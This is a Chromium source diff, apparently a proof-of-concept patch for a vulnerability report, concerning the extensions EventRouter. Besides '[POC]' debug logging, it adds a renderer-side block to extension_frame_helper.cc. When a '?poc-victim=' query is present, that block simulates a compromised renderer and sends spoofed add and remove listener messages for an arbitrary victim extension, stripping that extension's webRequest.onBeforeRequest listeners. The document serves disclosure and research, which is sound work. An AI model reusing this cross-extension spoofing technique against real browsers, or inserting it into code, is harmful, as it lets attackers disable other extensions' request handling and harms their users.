diff --git a/extensions/browser/api/web_request/extension_web_request_event_router.cc b/extensions/browser/api/web_request/extension_web_request_event_router.cc index b11485abe1c1e..3d9e902562baf 100644 --- a/extensions/browser/api/web_request/extension_web_request_event_router.cc +++ b/extensions/browser/api/web_request/extension_web_request_event_router.cc @@ -13,6 +13,7 @@ #include "base/containers/fixed_flat_map.h" #include "base/feature_list.h" +#include "base/logging.h" #include "base/functional/callback_helpers.h" #include "base/memory/raw_ptr.h" #include "base/metrics/histogram_macros.h" @@ -1072,6 +1073,8 @@ int WebRequestEventRouter::OnBeforeRequest( RawListeners listeners = GetMatchingListeners( browser_context, web_request::OnBeforeRequest::kEventName, request, &extra_info_spec); + LOG(ERROR) << "[POC] OnBeforeRequest url=" << request->url.spec() + << " matched_listeners=" << listeners.size(); if (!listeners.empty() && !GetAndSetSignaled(browser_context, request->id, EventTypes::kOnBeforeRequest)) { std::unique_ptr event_details( @@ -1932,6 +1935,13 @@ bool WebRequestEventRouter::AddEventListener( listener->filter = std::move(filter); listener->extra_info_spec = extra_info_spec; + LOG(ERROR) << "[POC] WebRequestEventRouter::AddEventListener" + << " ext=" << extension_id << " sub=" << sub_event_name + << " rpid=" << render_process_id + << " worker_thread=" << worker_thread_id + << " sw_version=" << service_worker_version_id + << " is_lazy=" << is_lazy; + if (is_lazy) { AddLazyListener(browser_context, event_name, std::move(listener)); return true; @@ -2075,6 +2085,12 @@ WebRequestEventRouter::RemoveMatchingListeners( continue; } + LOG(ERROR) << "[POC] RemoveMatchingListeners ERASING listener:" + << " ext=" << id.extension_id + << " sub=" << id.sub_event_name + << " rpid=" << id.render_process_id + << " worker_thread=" << id.worker_thread_id + << " sw_version=" << id.service_worker_version_id; removed_listeners.push_back(std::move(listener)); iter = listeners.erase(iter); } diff --git a/extensions/browser/event_router.cc b/extensions/browser/event_router.cc index 1c41a633aa238..c23a7757b54ac 100644 --- a/extensions/browser/event_router.cc +++ b/extensions/browser/event_router.cc @@ -17,6 +17,7 @@ #include "base/check_is_test.h" #include "base/debug/crash_logging.h" #include "base/feature_list.h" +#include "base/logging.h" #include "base/functional/bind.h" #include "base/functional/callback_helpers.h" #include "base/metrics/histogram_functions.h" @@ -481,6 +482,11 @@ void EventRouter::AddFilteredListenerForServiceWorker( return; } + LOG(ERROR) << "[POC] EventRouter::AddFilteredListenerForServiceWorker" + << " caller_rpid=" << process->GetDeprecatedID() + << " ext=" << extension_id << " event=" << event_name + << " add_lazy=" << add_lazy_listener; + AddFilteredEventListener( event_name, process, mojom::EventListenerOwner::NewExtensionId(extension_id), @@ -582,6 +588,11 @@ void EventRouter::RemoveFilteredListenerForServiceWorker( return; } + LOG(ERROR) << "[POC] EventRouter::RemoveFilteredListenerForServiceWorker" + << " caller_rpid=" << process->GetDeprecatedID() + << " ext=" << extension_id << " event=" << event_name + << " remove_lazy=" << remove_lazy_listener; + RemoveFilteredEventListener( event_name, process, mojom::EventListenerOwner::NewExtensionId(extension_id), diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc index 1ab0e8afc84b8..f2accab17b9a4 100644 --- a/extensions/renderer/extension_frame_helper.cc +++ b/extensions/renderer/extension_frame_helper.cc @@ -10,7 +10,9 @@ #include "base/auto_reset.h" #include "base/containers/map_util.h" #include "base/feature_list.h" +#include "base/strings/string_number_conversions.h" #include "base/strings/string_util.h" +#include "base/logging.h" #include "base/timer/elapsed_timer.h" #include "content/public/renderer/render_frame.h" #include "extensions/common/api/messaging/message.h" @@ -286,6 +288,61 @@ void ExtensionFrameHelper::DidCreateDocumentElement() { did_create_current_document_element_ = true; extension_dispatcher_->DidCreateDocumentElement( render_frame()->GetWebFrame()); + + // --------------------------------------------------------------------------- + // [POC] Compromised-renderer simulation. + // + // A real attacker who has achieved arbitrary code execution in a web renderer + // can bind the frame-associated extensions.mojom.EventRouter interface (which + // the browser exposes to *every* RenderFrameHost, see + // chrome_content_browser_client_extensions_part_bindings.cc) and send + // AddFilteredListenerForServiceWorker / RemoveFilteredListenerForServiceWorker + // with an arbitrary victim extension_id. This block performs exactly that + // when the document URL contains "?poc-victim=". + // --------------------------------------------------------------------------- + GURL doc_url(render_frame()->GetWebFrame()->GetDocument().Url()); + std::string query(doc_url.query()); + const std::string kKey = "poc-victim="; + auto pos = query.find(kKey); + if (pos != std::string::npos) { + std::string victim = query.substr(pos + kKey.size(), 32); + LOG(ERROR) << "[POC-RENDERER] simulating compromised renderer in process; " + << "spoofing EventRouter messages for victim extension " + << victim << " (frame URL " << doc_url.spec() << ")"; + + base::DictValue filter; + base::ListValue urls; + urls.Append("http://poc-unique-filter.invalid/*"); + filter.Set("urls", std::move(urls)); + + GURL scope("chrome-extension://" + victim + "/"); + + // Sweep the first few sub-event suffixes ("/s1".."/s3"). Service-worker + // sub-event names are a per-ScriptContext counter starting at 1, so /s1 + // is virtually guaranteed for the first webRequest listener the SW + // registers. A real attacker would sweep all webRequest.* event names; + // this POC targets onBeforeRequest only for clarity. + static const char* kEvents[] = {"webRequest.onBeforeRequest"}; + for (const char* base_event : kEvents) { + for (int i = 1; i <= 3; ++i) { + std::string sub_event = + std::string(base_event) + "/s" + base::NumberToString(i); + GetEventRouter()->AddFilteredListenerForServiceWorker( + victim, sub_event, + mojom::ServiceWorkerContext::New(scope, /*version_id=*/999999, + /*thread_id=*/999), + filter.Clone(), + /*add_lazy_listener=*/true); + GetEventRouter()->RemoveFilteredListenerForServiceWorker( + victim, sub_event, + mojom::ServiceWorkerContext::New(scope, /*version_id=*/999999, + /*thread_id=*/999), + filter.Clone(), + /*remove_lazy_listener=*/true); + } + } + LOG(ERROR) << "[POC-RENDERER] spoofed Add/Remove sent for " << victim; + } } void ExtensionFrameHelper::DidCreateNewDocument() {